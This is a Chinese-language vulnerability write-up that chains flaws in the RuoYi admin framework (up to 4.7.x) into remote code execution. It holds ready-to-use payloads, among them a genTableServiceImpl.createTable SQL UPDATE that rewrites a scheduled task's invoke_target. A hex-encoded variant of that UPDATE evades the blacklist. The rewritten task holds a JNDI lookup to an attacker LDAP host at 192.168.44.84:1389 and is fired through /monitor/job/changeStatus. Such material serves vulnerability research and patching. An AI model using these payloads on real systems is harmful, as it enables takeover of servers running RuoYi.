开门见山
最新版ruoyi rce的方法依旧是在定时任务处:定时任务中可以调用特定包内的bean,通过genTableServiceImpl
直接执行sql来更改定时任务内容,从而绕过黑白名单的限制。既然是组合拳rce,因此就先分析下另外两个漏洞,而rce自然而然就出来了
定时任务+文件读取=任意文件读取
先来简单聊一下若依任意文件读取(CVE-2023-27025),影响版本在4.7.6之前
众所周知,ruoyi计划任务能调用bean或者class类,这里就是通过调用ruoYiConfig.setProfile
,来更改本地上传文件路径
且该bean包名能通过黑白名单校验
/common/download/resource
接口能读取文件
虽然前端对传入文件名resource
进行过滤,但本地资源路径通过上文计划任务变为可控,此时更改ruoYiConfig.setProfile
的配置文件为任意想要读取的文件即可,也就达到了任意文件读取效果
createTable处的Sql注入
在ruoyi 4.7.5版本之前,后台存在sql注入
接口/tool/gen/createTable
处,定位到代码,其功能为创建数据表。将sql语句直接从前端传入,并执行
Mapper语句:
<update id="createTable">
${sql}
</update>
定时任务+SQL注入=RCE
根据上文的注入可以找到genTableService
的实现类:GenTableServiceImpl
,该类同样满足黑白名单条件
在启动类中我们可以修改代码如下,打印出项目中所有加载的bean,
ConfigurableApplicationContext run = SpringApplication.run(RuoYiApplication.class, args);
String[] beanDefinitionNames = run.getBeanDefinitionNames();
for (String beanDefinitionName : beanDefinitionNames) {
System.out.println(beanDefinitionName);
}
于是我们可以调用genTableServiceImpl.createTable
实现sql语句执行
ruoyi黑白名单校验仅出现在com.ruoyi.quartz.controller.SysJobController#addSave
,而任务状态修改接口中并没有添加
如果我们配合上文的注入在sys_job
数据表中直接插入恶意计划任务,即可不调用addSave
方法添加计划任务内容,成功绕过黑白名单限制
数据库中计划任务表结构如下
这里选择图个方便,直接使用update来修改invoke_target为Jndi payload:
javax.naming.InitialContext.lookup('ldap://192.168.44.84:1389/Deserialization/URLDNS/ekwzmxtyim.dgrh3.cn')
updata执行语句为
genTableServiceImpl.createTable("UPDATE sys_job SET invoke_target = \"javax.naming.InitialContext.lookup('ldap://192.168.44.84:1389/Deserialization/URLDNS/ekwzmxtyim.dgrh3.cn')\" WHERE job_id = 3;")
但会触发黑名单
既然是执行sql语句,直接将value转为16进制即可
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e34342e38343a313338392f446573657269616c697a6174696f6e2f55524c444e532f656b777a6d787479696d2e64677268332e636e2729 WHERE job_id = 3;')
此时是能成功执行org.quartz.Scheduler#scheduleJob
来调度任务的
成功更新sys_job数据
漏洞复现
启动jndi利用工具:
添加任务:修改id为3的计划任务为jndi payload,并执行
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e34342e38343a313338392f446573657269616c697a6174696f6e2f55524c444e532f656b777a6d787479696d2e64677268332e636e2729 WHERE job_id = 3;')
此时任务3的调用字符串已经是Jndi payload了,后面直接通过/monitor/job/changeStatus
接口直接更改任务状态触发Jndi
此外根据ruoyi默认依赖,还可以使用jndi-plus的jackson反序列化来实现rce
参考文章
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/blob/master/README_zh.md
https://github.com/luelueking/RuoYi-v4.7.8-RCE-POC